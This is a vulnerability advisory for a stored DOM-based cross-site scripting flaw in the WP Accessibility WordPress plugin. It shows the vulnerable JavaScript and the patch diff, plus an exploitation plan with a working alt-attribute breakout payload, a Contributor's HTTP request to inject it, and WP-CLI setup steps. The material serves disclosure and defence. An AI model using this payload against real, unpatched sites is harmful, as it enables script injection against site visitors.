WP Accessibility <= 2.3.1 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute
Description
The WP Accessibility plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'alt' attribute of images processed by the "Long Description UI" feature in all versions up to, and including, 2.3.1. This is due to the plugin's JavaScript retrieving the alt attribute using getAttribute() and unsafely concatenating it into innerHTML and insertAdjacentHTML calls without proper sanitization or escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the "Long Description UI" setting to be enabled and set to "Link to description."
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.3.1What Changed in the Fix
Changes introduced in v2.3.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2362 (WP Accessibility DOM XSS) ## 1. Vulnerability Summary The **WP Accessibility** plugin (<= 2.3.1) is vulnerable to **Stored DOM-Based Cross-Site Scripting (XSS)**. The vulnerability exists in the plugin's frontend JavaScript, specifically within `js/wp-ac…
Show full research plan
Exploitation Research Plan: CVE-2026-2362 (WP Accessibility DOM XSS)
1. Vulnerability Summary
The WP Accessibility plugin (<= 2.3.1) is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS). The vulnerability exists in the plugin's frontend JavaScript, specifically within js/wp-accessibility.js. When the "Long Description UI" feature is configured to "Link to description," the plugin identifies images with a longdesc attribute and attempts to append a screen-reader-friendly link. It retrieves the alt attribute of the image using getAttribute('alt') and unsafely concatenates it into a string that is then passed to innerHTML or insertAdjacentHTML.
Because getAttribute() retrieves the unencoded value and innerHTML parses that value as active HTML, an attacker with Contributor-level permissions can inject malicious scripts into the alt attribute of an image.
2. Attack Vector Analysis
- Authentication Level: Authenticated (Contributor+)
- Precondition: The "Long Description UI" setting must be enabled and set to "Link to description" (
wpa_longdescoption ='link'). - Vulnerable Sink:
newLink.innerHTMLandwrapper.insertAdjacentHTMLinjs/wp-accessibility.js. - Payload Location: The
altattribute of an<img>tag that also possesses alongdescattribute. - Affected Version: <= 2.3.1.
3. Code Flow
- Frontend Script Loading: The plugin enqueues
js/wp-accessibility.js. - Feature Check: The script checks the
wpalocalization object. Ifwpa.ldType === 'link', the vulnerable code path is triggered. - Selection: The script selects images via
document.querySelectorAll( 'img[longdesc]' )(Line 698 injs/wp-accessibility.js). - Data Extraction: For each image, it retrieves the
altattribute:let alt = el.getAttribute('alt');(Line 703). - Vulnerable Sink 1: In the loop for
longDescImgs, the plugin creates a link and sets its content:// js/wp-accessibility.js: Line 713 newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>'; - Vulnerable Sink 2: Alternatively, if the image control is loaded via API (used in featured images or specific blocks), it reaches
wpa_load_image_control:// js/wp-accessibility.js: Line 833 wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>'); - Execution: The browser parses the injected HTML in the
altvariable, executing any embedded scripts.
4. Nonce Acquisition Strategy
This vulnerability is exploited by creating/editing a standard WordPress post. No plugin-specific nonces are required to inject the payload into the post content, as standard WordPress post-save nonces handle the request for Contributor+ users.
However, to verify the exploit in an automated environment, you must first enable the "Long Description UI" as an Administrator.
- The setting
wpa_longdescis updated inwp-accessibility-settings.phpvia theaction === 'features'branch ofwpa_update_settings. - It uses a nonce named
wpa-nonce.
Manual Setup via WP-CLI (Recommended for PoC):
Since the vulnerability requires a specific setting, use WP-CLI to bypass the UI setup:
wp option update wpa_longdesc "link"
wp option update wpa_post_types 'a:1:{i:0;s:4:"post";}'
5. Exploitation Strategy
Step 1: Configure Plugin (Admin)
Ensure the plugin is in the vulnerable configuration.
wp option update wpa_longdesc "link"
Step 2: Inject Payload (Contributor)
Login as a Contributor and create a post containing an image with both a longdesc and a malicious alt attribute.
Payload: </span><img src=x onerror=alert(origin)>
The </span> is used to break out of the <span class="screen-reader-text"> tag created by the plugin.
HTTP Request (Contributor):
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=editpost
&post_ID=[POST_ID]
&post_title=Accessibility+Test
&content=<img src="https://example.com/test.jpg" longdesc="https://example.com/desc" alt="</span><img src=x onerror=alert(origin)>">
&post_status=publish
&_wpnonce=[NONCE]
Step 3: Trigger Execution
Navigate to the newly created post as any user. The JavaScript in wp-accessibility.js will process the image and trigger the XSS.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Setting: Set
wpa_longdesctolink. - Post: Create a draft post as the contributor to obtain a valid
post_IDand_wpnonce.
7. Expected Results
- The plugin script
js/wp-accessibility.jswill find theimg[longdesc]. - It will extract
alt="</span><img src=x onerror=alert(origin)>". - It will generate a link equivalent to:
<a href="..." class="...">Description<span class="..."> of</span><img src=x onerror=alert(origin)></span></a> - The
onerrorevent will fire, executingalert(origin).
8. Verification Steps
- Check Options:
wp option get wpa_longdesc # Should return 'link' - Check Post Content:
wp post get [POST_ID] --field=post_content # Verify payload is present in the database - Browser Verification: Use
browser_navigateto the post URL and check for an alert dialog or a specific DOM element added by the script.
9. Alternative Approaches
If the longdesc attribute is filtered out by the WordPress block editor (Gutenberg), use the Classic Editor or inject the payload via a custom HTML block.
If innerHTML logic (Sink 1) is patched in some environments, target the insertAdjacentHTML logic (Sink 2) by using the "Featured Image" long description feature:
- Upload an image.
- Set its "Description" field (which the plugin uses for
longdesc) to a URL. - Set its "Alt Text" field to the XSS payload.
- Set the image as a "Featured Image" for a post.
- The plugin will fetch the image metadata via the REST API (
wpa.restUrl + '/' + id) and hit theinsertAdjacentHTMLsink at line 833.
Summary
The WP Accessibility plugin (<= 2.3.1) is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS) via image alt attributes. When the 'Long Description UI' feature is enabled and set to 'Link to description,' the plugin's JavaScript unsafely processes the alt attribute using innerHTML or insertAdjacentHTML, allowing authenticated attackers with Contributor-level access to execute arbitrary scripts in the context of users viewing affected pages.
Vulnerable Code
// js/wp-accessibility.js: Line 713 let alt = el.getAttribute('alt'); // ... newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>'; --- // js/wp-accessibility.js: Line 833 wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>');
Security Fix
@@ -710,7 +710,11 @@ let newLink = document.createElement( 'a' ); newLink.setAttribute( 'href', longdesc ); newLink.classList.add( 'longdesc-link' ); - newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>'; + let span = document.createElement( 'span' ); + span.classList.add( 'screen-reader-text' ); + span.textContent = ' of ' + alt; + newLink.textContent = 'Description'; + newLink.appendChild( span ); el.insertAdjacentElement( 'afterend', newLink ); }); } @@ -828,8 +807,16 @@ img.setAttribute('alt', ''); img.setAttribute('class', ''); + let newLink = document.createElement( 'a' ); + newLink.setAttribute( 'href', url ); + newLink.classList.add( 'longdesc-link' ); + let span = document.createElement( 'span' ); + span.classList.add( 'screen-reader-text' ); + span.textContent = ' of ' + alt; + newLink.textContent = 'Description'; + newLink.appendChild( span ); if ( 'link' === wpa.ldType ) { - wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>'); + wrapper.insertAdjacentElement( 'beforeend', newLink ); } else { wrapper.insertAdjacentHTML( 'beforeend', '<button aria-expanded="false" class="wpa-toggle">' + wpa.ldText + '</button>'); wrapper.insertAdjacentHTML( 'beforeend', '<div class="longdesc"></div>');
Exploit Outline
The exploit requires the WP Accessibility plugin to be configured with the 'Long Description UI' setting set to 'Link to description.' An authenticated attacker with Contributor-level privileges or higher can then create or edit a post and insert an image tag with a 'longdesc' attribute and a malicious 'alt' attribute payload, such as: <img src='x' longdesc='http://example.com' alt='</span><img src=x onerror=alert(origin)>'>. When any user views the post, the plugin's frontend JavaScript (js/wp-accessibility.js) identifies the image, extracts the alt string using getAttribute(), and concatenates it directly into an HTML string that is then injected into the DOM via innerHTML or insertAdjacentHTML, causing the browser to execute the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.